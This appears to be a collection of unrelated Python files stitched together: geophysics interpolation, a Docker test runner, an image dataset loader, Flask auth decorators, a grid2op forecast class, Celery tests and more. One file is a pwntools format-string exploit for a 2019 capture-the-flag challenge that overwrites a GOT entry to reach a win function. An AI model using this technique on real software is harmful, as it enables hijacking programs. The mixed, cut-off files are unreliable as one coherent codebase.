# -*- coding: utf-8 -*-
"""
Created on Mon Nov 07 08:03:02 2016

@author: dominiquef
"""

import numpy as np
import scipy.sparse as sp
from scipy.interpolate import griddata
from SimPEG import mkvc, Mesh
import SimPEG.PF as PF
import SimPEG.EM.Static.DC as DC
import SimPEG.EM.FDEM as FDEM
from SimPEG.EM.Static.Utils import drapeTopotoLoc, gen_DCIPsurvey, writeUBC_DCobs
import matplotlib.patches as patches
import matplotlib.pyplot as plt
import time
import gc
import os
import glob

work_dir = 'C:\\LC\\Private\\dominiquef\\Projects\\4414_Minsim\\Modeling\\VPmg\\FWR_MAG'
gridFile = '..\\Mag_grid_50m.dat'
meshfile = '..\\Mesh_20m.msh'
mesh = Mesh.TensorMesh.readUBC(work_dir + '\\' + meshfile)
os.chdir(work_dir)

MagData = []
for file in glob.glob("*MAG_Tile*") :
    MagData.append(np.loadtxt(file))

# Grid data
gridLoc = np.loadtxt(work_dir + '\\' + gridFile)

# Get tile extents
Xlim = []
Ylim = []
for tile in MagData:

    Xlim.append(np.c_[np.min(tile[:,0]), np.mean(tile[:,0]), np.max(tile[:,0])])
    Ylim.append(np.c_[np.min(tile[:,1]), np.mean(tile[:,1]), np.max(tile[:,1])])

Xlim = np.squeeze(np.asarray(Xlim))
Ylim = np.squeeze(np.asarray(Ylim))

# Create data CC grid
offTile = 500
lenTile = 200
gCx = np.asarray(range(2))*lenTile + offTile + mesh.x0[0]
gCy = np.asarray(range(5))*lenTile + offTile + mesh.x0[1]

X,Y = np.meshgrid(gCx,gCy)
X, Y = mkvc(X), mkvc(Y)

fig, axs = plt.figure(figsize=(6,10)), plt.subplot(111)
axs.scatter(gridLoc[:,0],gridLoc[:,1],c=gridLoc[:,3],s=10,edgecolor=None)
axs.set_aspect('equal')

for ii in range(len(X)):
    axs.text(X[ii], Y[ii], str(ii),
        verticalalignment='center', horizontalalignment='center',
        color='r', fontsize=8)

#%% Progress function
def progress(iter, prog, final):
    """
    progress(iter,prog,final)

    Function measuring the progress of a process and print to screen the %.
    Useful to estimate the remaining runtime of a large problem.

    Created on Dec, 20th 2015

    @author: dominiquef
    """
    arg = np.floor(float(iter)/float(final)*100.)

    if arg > prog:

        print("Done " + str(arg) + " %")
        prog = arg

    return prog

#%% Create data grid
def grid_survey(spacing,width, x0 = (0,0,0), topo=None):
    """
        grid_survey(spacing,width)
        Generate concentric grid surveys centered at the origin
        :grid: List of grid spacing
        :width: Grid width

        return: rxLoc an n-by-3 receiver locations

    """
    rxLoc = []

    if len(spacing)!=len(width):
        raise 'Number of elements in spacing different than grid width'

    ii = -1
    for dx in spacing:

        ii += 1

        # Define survey grids centered at [0,0]

        # Number of grid points that fits in the width
        nC = int(width[ii]/dx)

        rxVec = -width[ii]/2. + dx/2. + np.asarray(range(nC))*dx

        rxGridx, rxGridy = np.meshgrid(rxVec,rxVec)

        rxGridx += x0[0]
        rxGridy += x0[1]

        if topo is not None:

            rxGridz = scipy.interpolate.griddata(topo[:,:2], topo[:,2], (rxGridx, rxGridy),
                                              method='linear') + x0[2]

        else:
            rxGridz = np.zeros_like(rxGridx) + x0[2]

        # Remove points if already inside inner grid
        if ii > 0:
            indx = np.logical_and(np.logical_and(rxGridy<rxLoc[:,1].max(), rxGridy>rxLoc[:,1].min()),np.logical_and(rxGridx>rxLoc[:,0].min(), rxGridx<rxLoc[:,0].max()))

            indx = indx.reshape(rxGridx.shape)
            rxGridx = rxGridx[indx==0]
            rxGridy = rxGridy[indx==0]
            rxGridz = rxGridz[indx==0]

            rxLoc = np.vstack([rxLoc, np.c_[mkvc(rxGridx),mkvc(rxGridy),mkvc(rxGridz)]])

        else:
            rxLoc = np.c_[mkvc(rxGridx),mkvc(rxGridy),mkvc(rxGridz)]

    return rxGridx, rxGridy, rxGridz

#%% Cycle through the grid and interpolate
ndat = len(X[:])
dOut = []
count = -1

print("Begin intepolation")

for ii in range(ndat):

    spacing=[20]
    width = [200]
    rxGridx, rxGridy, rxGridz = grid_survey(spacing,width,x0 = (X[ii],Y[ii], 60.))

    # First figure out which tiles are touched by loc
    inDex = [False]*Xlim.shape[0]

    for jj in range(Xlim.shape[0]):

        indx = np.logical_and( np.any(Xlim[jj,0] < rxGridx), np.any(Xlim[jj,2] > rxGridx))
        indy = np.logical_and( np.any(Ylim[jj,0] < rxGridy), np.any(Ylim[jj,2] > rxGridy))

        if np.logical_and( indx, indy):
            inDex[jj] = True

    inDex =  np.where( inDex )
    inDex = np.array(inDex[0]).tolist()
    dat = 0.
    wgt = 0.

    for tID in inDex:

        # Compute distance to center of grid
        r = ((MagData[tID][:,0] - Xlim[tID,1])**2. + \
            (MagData[tID][:,1] - Ylim[tID,1])**2.) + 1e-8
        Idist = griddata( MagData[tID][:,0:2], 1./r**0.5 , (rxGridx,rxGridy), method= 'nearest' )

#        xid = np.abs(np.asarray(range(rxGridx.shape[0])) - rxGridx.shape[0]/2)
#        yid = np.abs(np.asarray(range(rxGridx.shape[1])) - rxGridx.shape[1]/2)
#
#        Xid,Yid = np.meshgrid(-(xid-xid.max())+1,-(yid-yid.max())+1)
#
#        Idist = np.minimum(Xid,Yid)
#
#        # Normalize weights and cosine ramp off
#        Idist = Idist/float(np.max(Idist)+1e-6)
#        Idist = (-0.5*np.cos(-Idist*np.pi)+0.5) **0.5
        wgt += Idist

#        plt.figure(),plt.contourf(rxGridx,rxGridy,wgt)

        dat += griddata( MagData[tID][:,0:2], MagData[tID][:,3], (rxGridx,rxGridy), method= 'nearest' ) * Idist
#        plt.figure(),plt.contourf(rxGridx,rxGridy,dat)

    if len(inDex) > 0:
        dOut.append(np.c_[mkvc(rxGridx), mkvc(rxGridy), mkvc(dat / wgt)])

    count = progress(ii, count, ndat)

dOut = np.asarray(dOut).reshape((len(dOut)*dOut[0].shape[0],dOut[0].shape[1]))
#dOut = dOut.sort(axis=0,order=[0,1])

fid = open(work_dir + '\\MAGObsInterp.dat', 'w')
np.savetxt(fid, dOut, fmt='%e',delimiter=' ',newline='\n')
fid.close()

# Plot result grid
#xx = np.unique(dOut[:,0])
#yy = np.unique(dOut[:,1])
#
#X,Y = np.meshgrid(xx,yy)
#gridO = dOut[:,2].reshape((len(xx),len(yy)),order='F')
#
#plt.figure()
#plt.imshow(gridO)


from .abstract_build_docker import AbstractBuildDocker

class RunTests(AbstractBuildDocker):
    def get_name(self):
        return 'test'

    def get_description(self):
        return 'Run tests'

    def run(self, args):
        from os import getcwd

        py3 = self.get_option('python3', args)
        code = self.build_docker_file("scraper/dev/docker/Dockerfile.dev", python3=py3)
        if code != 0:
            return code

        self.exec_shell_command(["docker", "stop", "documentation-scrapper-dev-test"])
        self.exec_shell_command(["docker", "rm", "documentation-scrapper-dev-test"])

        run_command = [
            'docker',
            'run',
            '-e',
            'APPLICATION_ID=""',
            '-e',
            'API_KEY=""',
            '-e',
            'CONFIG=""',
            '-v',
            getcwd() + '/scraper/src:/root/src',
            '--name',
            'documentation-scrapper-dev-test',
            '-t',
            'algolia/documentation-scrapper-dev',
            '/root/test'
        ]

        print("")
        print(" ".join(run_command))
        return self.exec_shell_command(run_command)


import os
import numpy as np
from PIL import Image
import pandas as pd
import torchvision.transforms as transforms
from torch.utils.data import Dataset
import warnings

class RandomCropLongEdge(object):
    """
    this code is borrowed from https://github.com/ajbrock/BigGAN-PyTorch
    MIT License
    Copyright (c) 2019 Andy Brock
    """

    def __call__(self, img):
        size = (min(img.size), min(img.size))
        # Only step forward along this edge if it's the long edge
        i = (0 if size[0] == img.size[0]
             else np.random.randint(low=0, high=img.size[0] - size[0]))
        j = (0 if size[1] == img.size[1]
             else np.random.randint(low=0, high=img.size[1] - size[1]))
        return transforms.functional.crop(img, i, j, size[0], size[1])

    def __repr__(self):
        return self.__class__.__name__

class CenterCropLongEdge(object):
    """
    this code is borrowed from https://github.com/ajbrock/BigGAN-PyTorch
    MIT License
    Copyright (c) 2019 Andy Brock
    """

    def __call__(self, img):
        return transforms.functional.center_crop(img, min(img.size))

    def __repr__(self):
        return self.__class__.__name__

class LoadDataset(Dataset):
    def __init__(self, data_path, train, resize_size=32, jitter=False,
                 cutout=False, norm=True):
        super(LoadDataset, self).__init__()
        self.data_path = data_path
        self.train = train
        self.resize_size = resize_size
        self.norm_mean = (0.3337, 0.3064, 0.3171)
        self.norm_std = (0.2672, 0.2564, 0.2629)

        if train:
            self.transforms = [
                RandomCropLongEdge(),
                transforms.Resize((self.resize_size, self.resize_size))]
            if jitter:
                self.transforms += [
                    transforms.ColorJitter(
                        brightness=0.4, contrast=0.4, saturation=0.4, hue=0)
                ]
            self.transforms += [transforms.ToTensor()]
            if cutout:
                self.transforms += [transforms.RandomErasing(
                    p=1, scale=(0.1, 0.2), ratio=(0.5, 1.0)
                )]
        else:
            if jitter == True or cutout == True:
                warnings.warn(
                    "This is for testing, jitter, cutout will take no effect")
            self.transforms = [
                CenterCropLongEdge(),
                transforms.Resize((self.resize_size, self.resize_size)),
                transforms.ToTensor()
            ]
        if norm:
            self.transforms += [
                transforms.Normalize(self.norm_mean, self.norm_std)
            ]
        self.transforms = transforms.Compose(self.transforms)
        print(self.transforms)

        self.load_dataset()

    def load_dataset(self):
        self.root_dir = os.path.join(self.data_path, 'GTSRB')
        self.sub_directory = 'trainingset' if self.train else 'testset'
        self.csv_file_name = 'training.csv' if self.train else 'test.csv'

        csv_file_path = os.path.join(
            self.root_dir, self.sub_directory, self.csv_file_name
        )

        self.csv_data = pd.read_csv(csv_file_path)

    def __len__(self):
        num_dataset = len(self.csv_data)
        return num_dataset

    def __getitem__(self, index):
        img_path = os.path.join(
            self.root_dir, self.sub_directory, self.csv_data.iloc[index, 0]
        )
        img = Image.open(img_path)
        label = int(self.csv_data.iloc[index, 1])
        if self.transforms is not None:
            img = self.transforms(img)
        return img, label


from pwn import *

ip = "shell.2019.nactf.com"
port = 31560
r = remote(ip,port)

elf = 'format-1'
#r = process("./"+elf)

context.arch = 'i386'

offset = 4
print_plt = 0x804c00c
#exploit = "%16$p".ljust( 0x30 , 'a' )+p32(0xdeadbeef)

win = 0x80491b2
exploit = "%2052c%16$hn%35246c%17$hn".ljust( 0x30 , 'a' )+p32(print_plt+2)+p32(print_plt)
# 0x30 = 48
# 32bit => 48/4= 12  4+12=16

raw_input("aa")
r.send(exploit)
r.interactive()


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

'''
using sympy.factorint to factorize integers

it takes a while to load sympy (it's huge!)

melody's question, in a range of numbers, which number has most number of factors

for example, smaller than 1000, 840 has most factors (32)
'''

import sys

try:
    from sympy import factorint
except ImportError:
    print("need module sympy")
    sys.exit(1)

def get_num_factors(value):
    '''
    use sympy.factorint() and display in formatted form
    '''
    assert value >= 0

    # factorint() will return dict with factor and its
    myd = factorint(value)
    # output the result...
    #print(value, "= ", end='')
    t = 1
    for v in myd.values():
        #print(v)
        t *= (v + 1)
    return t

def main():
    '''main function'''
    lower = 4
    upper = 100000
    max_k = 1
    max_v = 1
    for x in range(lower, upper):
        ret = get_num_factors(x)
        if ret > max_v:
            max_k = x
            max_v = ret
            print(f'{max_k} : {max_v}')

if __name__ == '__main__':
    main()


from functools import wraps
import jwt
from db.connection import db
from flask import request, jsonify
from config import configure
import os
import re
from regex import EMAIL_REGEX

configure()
def token_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        token = None
        if 'x-access-token' in request.headers:
            token = request.headers['x-access-token']

        if not token:
            return jsonify({'message' : 'Token sin especificar !!'}), 401

        try:

            user_data = jwt.decode(token, os.getenv("SECRET_KEY"), algorithms=["HS256"])
            current_user = db.admin.find_one({"email":user_data["sub"]})
        except:
            return jsonify({
                'message' : 'Token invalido !!'
            }), 401

        return f(current_user, *args, **kwargs)

    return decorated

def email_parameter_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        if request.args.get("email") is None:
            return jsonify({"msg":"Correo electrónico sin especificar"})

        if not re.search(EMAIL_REGEX, request.args.get("email")):
            return jsonify({"msg":"Correo electrónico no válido"})

        if db.users_accounts.count_documents({"email":request.args.get("email")}) == 0:
            return jsonify({"msg":"Correo electrónico no registrado"})

        return f(*args, **kwargs)

    return decorated

def apikey_parameter_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):

        if request.args.get("api_key") is None:
            return jsonify({"msg":"API KEY sin especificar"})

        if db.apps.count_documents({"api_key":request.args.get("api_key")}) == 0:
            return jsonify({"msg":"La API KEY proporcionada no está asignada a ninguna aplicación"})

        return f(*args, **kwargs)

    return decorated

def get_authorized_users(apikey):
    app_data = db.apps.aggregate([
        {
            "$match":{
                "api_key":apikey
            }
        },

        {
            "$project":{
                "_id":0,
                "app_name":0,
                "api_key":0,
                "redirect_uri":0
            }
        }
    ])

    app_data = list(app_data)

    return app_data[0]["user_group"]

def get_app_name(api_key):
    app_data = db.apps.aggregate([
        {
            "$match":{
                "api_key":api_key
            }
        },

        {
            "$project":{
                "_id":0,
                "api_key":0,
                "user_group":0,
                "redirect_uri":0
            }
        }
    ])

    app_data = list(app_data)
    return app_data[0]["app_name"]

def get_app_redirect_uri(apikey, token):
    app_data = db.apps.aggregate([
        {
            "$match":{
                "api_key":apikey
            }
        },
        {
            "$project":{
                "_id":0,
                "api_key":0,
                "app_name":0,
                "user_group":0
            }
        }
    ])

    app_data = list(app_data)

    redirect_uri = app_data[0]["redirect_uri"]

    if "?" not in redirect_uri:
        redirect_uri = redirect_uri + "?token=" + token

    elif "&" not in redirect_uri and "?" in redirect_uri:

        redirect_uri = redirect_uri + "&token=" + token

    elif "&" in redirect_uri and "?" in redirect_uri:

        redirect_uri = redirect_uri + "&token=" + token

    return redirect_uri

def register_cellphone(cellphone_number):

    if db.cellphone.count_documents({"cellphone_number":cellphone_number}) == 0:
        db.cellphone.insert_one({"cellphone_number":cellphone_number})

    cellphone = db.cellphone.find_one({"cellphone_number":cellphone_number})
    return cellphone["_id"]

def is_enabled(api_key):
    app_data = db.apps.aggregate([
        {
            "$match":{
                "api_key":api_key
            }
        },

        {

            "$project":{
                "_id":0,
                "app_name":0,
                "redirect_uri":0,
                "user_group":0,
                "api_key":0
            }

        }
    ])

    app_data = list(app_data)

    return app_data[0]["enabled"]

def get_app_signature(api_key):
    app_data = db.apps.aggregate([
        {
            "$match":{
                "api_key":api_key
            }
        },

        {

            "$project":{
                "_id":0,
                "app_name":0,
                "redirect_uri":0,
                "user_group":0,
                "api_key":0,
                "enabled":0
            }

        }
    ])

    app_data = list(app_data)

    return app_data[0]["signature"]


class Solution:
    def removeElement(self, nums: List[int], val: int) -> int:
        pivot = 0
        for i in range(len(nums)):
            if nums[i] != val:
                # update the pivot element with the current element
                nums[pivot] = nums[i]
                # update pivot as this element is updated
                pivot += 1
        # pivot pointer is what is being asked form us to return
        return pivot


import os
import copy
import numpy as np
import pandas as pd
from datetime import timedelta

from grid2op.dtypes import dt_float, dt_bool
from grid2op.Exceptions import (
    EnvError,
    IncorrectNumberOfLoads,
    IncorrectNumberOfLines,
    IncorrectNumberOfGenerators,
)
from grid2op.Exceptions import ChronicsError
from grid2op.Chronics.gridStateFromFile import GridStateFromFile

class GridStateFromFileWithForecasts(GridStateFromFile):
    """
    An extension of :class:`GridStateFromFile` that implements the "forecast" functionality.

    Forecast are also read from a file. For this class, only 1 forecast per timestep is read. The "forecast"
    present in the file at row $i$ is the one available at the corresponding time step, so valid for the grid state
    at the next time step.

    To have more advanced forecasts, this class could be overridden.

    Attributes
    ----------
    load_p_forecast: ``numpy.ndarray``, dtype: ``float``
        Array used to store the forecasts of the load active values.

    load_q_forecast: ``numpy.ndarray``, dtype: ``float``
        Array used to store the forecasts of the load reactive values.

    prod_p_forecast: ``numpy.ndarray``, dtype: ``float``
        Array used to store the forecasts of the generator active production setpoint.

    prod_v_forecast: ``numpy.ndarray``, dtype: ``float``
        Array used to store the forecasts of the generator voltage magnitude setpoint.

    """
    MULTI_CHRONICS = False

    def __init__(
        self,
        path,
        sep=";",
        time_interval=timedelta(minutes=5),
        max_iter=-1,
        chunk_size=None,
        h_forecast=(5, ),
    ):

        self.load_p_forecast = None
        self.load_q_forecast = None
        self.prod_p_forecast = None
        self.prod_v_forecast = None

        # for when you read data in chunk
        self._order_load_p_forecasted = None
        self._order_load_q_forecasted = None
        self._order_prod_p_forecasted = None
        self._order_prod_v_forecasted = None
        self._data_already_in_mem = False  # says if the "main" value from the base class had to be reloaded (used for chunk)
        self._nb_forecast = len(h_forecast)
        self._h_forecast = copy.deepcopy(h_forecast)
        self._check_hs_consistent(self._h_forecast, time_interval)

        # init base class
        GridStateFromFile.__init__(
            self,
            path,
            sep=sep,
            time_interval=time_interval,
            max_iter=max_iter,
            chunk_size=chunk_size,
        )

    def _clear(self):
        super()._clear()
        self.load_p_forecast = None
        self.load_q_forecast = None
        self.prod_p_forecast = None
        self.prod_v_forecast = None

        # for when you read data in chunk
        self._order_load_p_forecasted = None
        self._order_load_q_forecasted = None
        self._order_prod_p_forecasted = None
        self._order_prod_v_forecasted = None
        self._data_already_in_mem = False  # says if the "main" value from the base class had to be reloaded (used for chunk)

    def _check_hs_consistent(self, h_forecast, time_interval):
        prev = timedelta(minutes=0)
        for i, h in enumerate(h_forecast):
            prev += time_interval
            if prev.total_seconds() // 60 != h:
                raise ChronicsError("For now you cannot build non contiuguous forecast. "
                                    "Forecast should look like [5, 10, 15, 20] "
                                    "but not [10, 15, 20] (missing h=5mins) or [5, 10, 20] (missing h=15)")

    def _get_next_chunk_forecasted(self):
        load_p = None
        load_q = None
        prod_p = None
        prod_v = None
        if self._data_chunk["load_p_forecasted"] is not None:
            load_p = next(self._data_chunk["load_p_forecasted"])
        if self._data_chunk["load_q_forecasted"] is not None:
            load_q = next(self._data_chunk["load_q_forecasted"])
        if self._data_chunk["prod_p_forecasted"] is not None:
            prod_p = next(self._data_chunk["prod_p_forecasted"])
        if self._data_chunk["prod_v_forecasted"] is not None:
            prod_v = next(self._data_chunk["prod_v_forecasted"])
        return load_p, load_q, prod_p, prod_v

    def _data_in_memory(self):
        res = super()._data_in_memory()
        self._data_already_in_mem = res
        return res

    def initialize(
        self,
        order_backend_loads,
        order_backend_prods,
        order_backend_lines,
        order_backend_subs,
        names_chronics_to_backend=None,
    ):
        """
        The same condition as :class:`GridStateFromFile.initialize` applies also for
        :attr:`GridStateFromFileWithForecasts.load_p_forecast`,  :attr:`GridStateFromFileWithForecasts.load_q_forecast`,
        :attr:`GridStateFromFileWithForecasts.prod_p_forecast`, and
        :attr:`GridStateFromFileWithForecasts.prod_v_forecast`.

        Parameters
        ----------
        See help of :func:`GridValue.initialize` for a detailed help about the _parameters.

        """
        super().initialize(
            order_backend_loads,
            order_backend_prods,
            order_backend_lines,
            order_backend_subs,
            names_chronics_to_backend,
        )

        if self.chunk_size is not None:
            chunk_size = self.chunk_size * self._nb_forecast
        else:
            chunk_size = None

        if self._max_iter > 0:
            nrows_to_load = (self._max_iter + 1) * self._nb_forecast

        load_p_iter = self._get_data("load_p_forecasted",
                                     chunk_size, nrows_to_load)
        load_q_iter = self._get_data("load_q_forecasted",
                                     chunk_size, nrows_to_load)
        prod_p_iter = self._get_data("prod_p_forecasted",
                                     chunk_size, nrows_to_load)
        prod_v_iter = self._get_data("prod_v_forecasted",
                                     chunk_size, nrows_to_load)
        hazards = None  # no hazards in forecast
        maintenance = None  # maintenance are read from the real data and propagated in the chronics

        if self.chunk_size is None:
            load_p = load_p_iter
            load_q = load_q_iter
            prod_p = prod_p_iter
            prod_v = prod_v_iter
        else:
            self._data_chunk["load_p_forecasted"] = load_p_iter
            self._data_chunk["load_q_forecasted"] = load_q_iter
            self._data_chunk["prod_p_forecasted"] = prod_p_iter
            self._data_chunk["prod_v_forecasted"] = prod_v_iter
            load_p, load_q, prod_p, prod_v = self._get_next_chunk_forecasted()

        order_backend_loads = {el: i for i, el in enumerate(order_backend_loads)}
        order_backend_prods = {el: i for i, el in enumerate(order_backend_prods)}
        order_backend_lines = {el: i for i, el in enumerate(order_backend_lines)}

        (
            order_chronics_load_p,
            order_backend_load_q,
            order_backend_prod_p,
            order_backend_prod_v,
            order_backend_hazards,
            order_backend_maintenance,
        ) = self._get_orders(
            load_p,
            load_q,
            prod_p,
            prod_v,
            hazards,
            maintenance,
            order_backend_loads,
            order_backend_prods,
            order_backend_lines,
        )

        self._order_load_p_forecasted = np.argsort(order_chronics_load_p)
        self._order_load_q_forecasted = np.argsort(order_backend_load_q)
        self._order_prod_p_forecasted = np.argsort(order_backend_prod_p)
        self._order_prod_v_forecasted = np.argsort(order_backend_prod_v)

        self._init_attrs_forecast(
            load_p, load_q, prod_p, prod_v
        )

    def _init_attrs_forecast(self, load_p, load_q, prod_p, prod_v):
        # TODO refactor that with _init_attrs from super()
        self.load_p_forecast = None
        self.load_q_forecast = None
        self.prod_p_forecast = None
        self.prod_v_forecast = None

        if load_p is not None:
            self.load_p_forecast = copy.deepcopy(
                load_p.values[:, self._order_load_p_forecasted].astype(dt_float)
            )
        if load_q is not None:
            self.load_q_forecast = copy.deepcopy(
                load_q.values[:, self._order_load_q_forecasted].astype(dt_float)
            )
        if prod_p is not None:
            self.prod_p_forecast = copy.deepcopy(
                prod_p.values[:, self._order_prod_p_forecasted].astype(dt_float)
            )
        if prod_v is not None:
            self.prod_v_forecast = copy.deepcopy(
                prod_v.values[:, self._order_prod_v_forecasted].astype(dt_float)
            )

    def check_validity(self, backend):
        super(GridStateFromFileWithForecasts, self).check_validity(backend)
        at_least_one = False

        if self.load_p_forecast is not None:
            if self.load_p_forecast.shape[1] != backend.n_load:
                raise IncorrectNumberOfLoads(
                    "for the active part. It should be {} but is in fact {}"
                    "".format(backend.n_load, len(self.load_p))
                )
            at_least_one = True

        if self.load_q_forecast is not None:
            if self.load_q_forecast.shape[1] != backend.n_load:
                raise IncorrectNumberOfLoads(
                    "for the reactive part. It should be {} but is in fact {}"
                    "".format(backend.n_load, len(self.load_q))
                )
            at_least_one = True

        if self.prod_p_forecast is not None:
            if self.prod_p_forecast.shape[1] != backend.n_gen:
                raise IncorrectNumberOfGenerators(
                    "for the active part. It should be {} but is in fact {}"
                    "".format(backend.n_gen, len(self.prod_p))
                )
            at_least_one = True

        if self.prod_v_forecast is not None:
            if self.prod_v_forecast.shape[1] != backend.n_gen:
                raise IncorrectNumberOfGenerators(
                    "for the voltage part. It should be {} but is in fact {}"
                    "".format(backend.n_gen, len(self.prod_v))
                )
            at_least_one = True

        if not at_least_one:
            raise ChronicsError(
                "You used a class that read forecasted data, yet there is no forecasted data in"
                '"{}". Please fall back to using class "GridStateFromFile" instead of '
                '"{}"'.format(self.path, type(self))
            )

        for name_arr, arr in zip(
            ["load_q", "load_p", "prod_v", "prod_p"],
            [
                self.load_q_forecast,
                self.load_p_forecast,
                self.prod_v_forecast,
                self.prod_p_forecast
            ],
        ):
            if arr is not None:
                if self.chunk_size is None:
                    if arr.shape[0] < self.n_ * self._nb_forecast:
                        raise EnvError(
                            "Array for forecast {}_forecasted as not the same number of rows of {} x nb_forecast. "
                            "The chronics cannot be loaded properly.".format(name_arr, name_arr)
                        )

    def _load_next_chunk_in_memory_forecast(self):
        # i load the next chunk as dataframes
        load_p, load_q, prod_p, prod_v = self._get_next_chunk_forecasted()
        # i put these dataframes in the right order (columns)
        self._init_attrs_forecast(load_p, load_q, prod_p, prod_v)
        # resetting the index has been done in _load_next_chunk_in_memory, or at least it should have

    def forecasts(self):
        """
        This is the major difference between :class:`GridStateFromFileWithForecasts` and :class:`GridStateFromFile`.
        It returns non empty forecasts.

        As explained in the :func:`GridValue.forecasts`, forecasts are made of list of tuple. Each tuple having
        exactly 2 elements:

          1. Is the time stamp of the forecast
          2. An :class:`grid2op.BaseAction` representing the modification of the powergrid after the forecast.

        For this class, only the forecast of the next time step is given, and only for the injections and maintenance.

        Returns
        -------
        See :func:`GridValue.forecasts` for more information.

        """
        if not self._data_already_in_mem:
            try:
                self._load_next_chunk_in_memory_forecast()
            except StopIteration as exc_:
                raise exc_
        res = []
        for h_id, h in enumerate(self._h_forecast):
            res_d = {}
            dict_ = {}
            indx_to_look = self._nb_forecast * self.current_index + h_id
            if self.load_p_forecast is not None:
                dict_["load_p"] = dt_float(
                    1.0 * self.load_p_forecast[indx_to_look, :]
                )
            if self.load_q_forecast is not None:
                dict_["load_q"] = dt_float(
                    1.0 * self.load_q_forecast[indx_to_look, :]
                )
            if self.prod_p_forecast is not None:
                dict_["prod_p"] = dt_float(
                    1.0 * self.prod_p_forecast[indx_to_look, :]
                )
            if self.prod_v_forecast is not None:
                dict_["prod_v"] = dt_float(
                    1.0 * self.prod_v_forecast[indx_to_look, :]
                )
            if dict_:
                res_d["injection"] = dict_

            forecast_datetime = self.current_datetime + timedelta(minutes=h)
            res.append((forecast_datetime, res_d))
        return res

    def get_id(self) -> str:
        return self.path

    def _init_res_split(self, nb_rows):
        res_load_p_f = None
        res_load_q_f = None
        res_prod_p_f = None
        res_prod_v_f = None
        if self.prod_p_forecast is not None:
            res_prod_p_f = np.zeros((nb_rows, self.n_gen), dtype=dt_float)
        if self.prod_v_forecast is not None:
            res_prod_v_f = np.zeros((nb_rows, self.n_gen), dtype=dt_float)
        if self.load_p_forecast is not None:
            res_load_p_f = np.zeros((nb_rows, self.n_load), dtype=dt_float)
        if self.load_q_forecast is not None:
            res_load_q_f = np.zeros((nb_rows, self.n_load), dtype=dt_float)

        res = super()._init_res_split(nb_rows)
        res += tuple(
            [res_prod_p_f, res_prod_v_f, res_load_p_f, res_load_q_f]
        )
        return res

    def _update_res_split(self, i, tmp, *arrays):
        (
            *args_super,
            res_prod_p_f,
            res_prod_v_f,
            res_load_p_f,
            res_load_q_f
        ) = arrays
        super()._update_res_split(i, tmp, *args_super)
        if res_prod_p_f is not None:
            res_prod_p_f[i, :] = tmp._extract_array("prod_p_forecast")
        if res_prod_v_f is not None:
            res_prod_v_f[i, :] = tmp._extract_array("prod_v_forecast")
        if res_load_p_f is not None:
            res_load_p_f[i, :] = tmp._extract_array("load_p_forecast")
        if res_load_q_f is not None:
            res_load_q_f[i, :] = tmp._extract_array("load_q_forecast")

    def _clean_arrays(self, i, *arrays):
        (
            *args_super,
            res_prod_p_f,
            res_prod_v_f,
            res_load_p_f,
            res_load_q_f
        ) = arrays
        res = super()._clean_arrays(i, *args_super)
        if res_prod_p_f is not None:
            res_prod_p_f = res_prod_p_f[:i, :]
        if res_prod_v_f is not None:
            res_prod_v_f = res_prod_v_f[:i, :]
        if res_load_p_f is not None:
            res_load_p_f = res_load_p_f[:i, :]
        if res_load_q_f is not None:
            res_load_q_f = res_load_q_f[:i, :]

        res += tuple(
            [res_prod_p_f, res_prod_v_f, res_load_p_f, res_load_q_f]
        )
        return res

    def _get_name_arrays_for_saving(self):
        res = super()._get_name_arrays_for_saving()
        res += [
            "prod_p_forecasted",
            "prod_v_forecasted",
            "load_p_forecasted",
            "load_q_forecasted"
        ]
        return res

    def _get_colorder_arrays_for_saving(self):
        res = super()._get_colorder_arrays_for_saving()
        res += tuple(
            [
                self._order_backend_prods,
                self._order_backend_prods,
                self._order_backend_loads,
                self._order_backend_loads
            ]
        )
        return res


from __future__ import absolute_import

import json
import pickle
import socket

from contextlib import contextmanager
from datetime import timedelta
from pickle import dumps, loads

from billiard.einfo import ExceptionInfo

from celery import states
from celery.backends.amqp import AMQPBackend
from celery.exceptions import TimeoutError
from celery.five import Empty, Queue, range
from celery.utils import uuid

from celery.tests.case import (
    AppCase, Mock, depends_on_current_app, patch, sleepdeprived,
)

class SomeClass(object):

    def __init__(self, data):
        self.data = data

class test_AMQPBackend(AppCase):

    def create_backend(self, **opts):
        opts = dict(dict(serializer='pickle', persistent=True), **opts)
        return AMQPBackend(self.app, **opts)

    def test_mark_as_done(self):
        tb1 = self.create_backend(max_cached_results=1)
        tb2 = self.create_backend(max_cached_results=1)

        tid = uuid()

        tb1.mark_as_done(tid, 42)
        self.assertEqual(tb2.get_status(tid), states.SUCCESS)
        self.assertEqual(tb2.get_result(tid), 42)
        self.assertTrue(tb2._cache.get(tid))
        self.assertTrue(tb2.get_result(tid), 42)

    @depends_on_current_app
    def test_pickleable(self):
        self.assertTrue(loads(dumps(self.create_backend())))

    def test_revive(self):
        tb = self.create_backend()
        tb.revive(None)

    def test_is_pickled(self):
        tb1 = self.create_backend()
        tb2 = self.create_backend()

        tid2 = uuid()
        result = {'foo': 'baz', 'bar': SomeClass(12345)}
        tb1.mark_as_done(tid2, result)
        # is serialized properly.
        rindb = tb2.get_result(tid2)
        self.assertEqual(rindb.get('foo'), 'baz')
        self.assertEqual(rindb.get('bar').data, 12345)

    def test_mark_as_failure(self):
        tb1 = self.create_backend()
        tb2 = self.create_backend()

        tid3 = uuid()
        try:
            raise KeyError('foo')
        except KeyError as exception:
            einfo = ExceptionInfo()
            tb1.mark_as_failure(tid3, exception, traceback=einfo.traceback)
            self.assertEqual(tb2.get_status(tid3), states.FAILURE)
            self.assertIsInstance(tb2.get_result(tid3), KeyError)
            self.assertEqual(tb2.get_traceback(tid3), einfo.traceback)

    def test_repair_uuid(self):
        from celery.backends.amqp import repair_uuid
        for i in range(10):
            tid = uuid()
            self.assertEqual(repair_uuid(tid.replace('-', '')), tid)

    def test_expires_is_int(self):
        b = self.create_backend(expires=48)
        self.assertEqual(b.queue_arguments.get('x-expires'), 48 * 1000.0)

    def test_expires_is_float(self):
        b = self.create_backend(expires=48.3)
        self.assertEqual(b.queue_arguments.get('x-expires'), 48.3 * 1000.0)

    def test_expires_is_timedelta(self):
        b = self.create_backend(expires=timedelta(minutes=1))
        self.assertEqual(b.queue_arguments.get('x-expires'), 60 * 1000.0)

    @sleepdeprived()
    def test_store_result_retries(self):
        iterations = [0]
        stop_raising_at = [5]

        def publish(*args, **kwargs):
            if iterations[0] > stop_raising_at[0]:
